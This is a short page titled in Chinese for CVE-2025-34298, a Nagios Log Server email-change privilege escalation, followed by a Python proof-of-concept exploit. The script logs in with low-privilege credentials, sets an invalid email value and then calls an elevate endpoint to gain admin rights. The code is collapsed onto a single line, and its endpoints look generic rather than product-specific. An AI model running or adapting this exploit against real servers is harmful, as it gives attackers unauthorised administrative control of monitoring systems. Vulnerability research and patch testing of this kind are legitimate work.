CVE-2025-34298 Nagios Log Server 邮件修改权限提升漏洞

#!/usr/bin/env python3 # CVE-2025-34298 Nagios Log Server Privilege Escalation PoC # This PoC demonstrates the email-change privilege escalation vulnerability import requests import json TARGET = "http://target-nagios-log-server" USERNAME = "lowpriv_user" PASSWORD = "user_password" def exploit(): session = requests.Session() # Step 1: Login with low-privilege account login_url = f"{TARGET}/api/auth/login" login_data = {"username": USERNAME, "password": PASSWORD} response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Login failed") return False token = response.json().get("token") headers = {"Authorization": f"Bearer {token}"} print("[+] Logged in successfully") # Step 2: Change email to invalid value to trigger state inconsistency email_url = f"{TARGET}/api/user/email" invalid_email = "invalid_email_format" email_data = {"email": invalid_email} response = session.put(email_url, json=email_data, headers=headers) print(f"[+] Modified email to: {invalid_email}") print(f"[+] Response: {response.text}") # Step 3: Trigger privilege escalation via inconsistent state escalate_url = f"{TARGET}/api/user/elevate" response = session.post(escalate_url, headers=headers) if response.status_code == 200 and "admin" in response.text.lower(): print("[+] Privilege escalation successful!") print(f"[+] Elevated permissions: {response.json()}") return True else: print("[-] Privilege escalation may have failed") return False if __name__ == "__main__": exploit()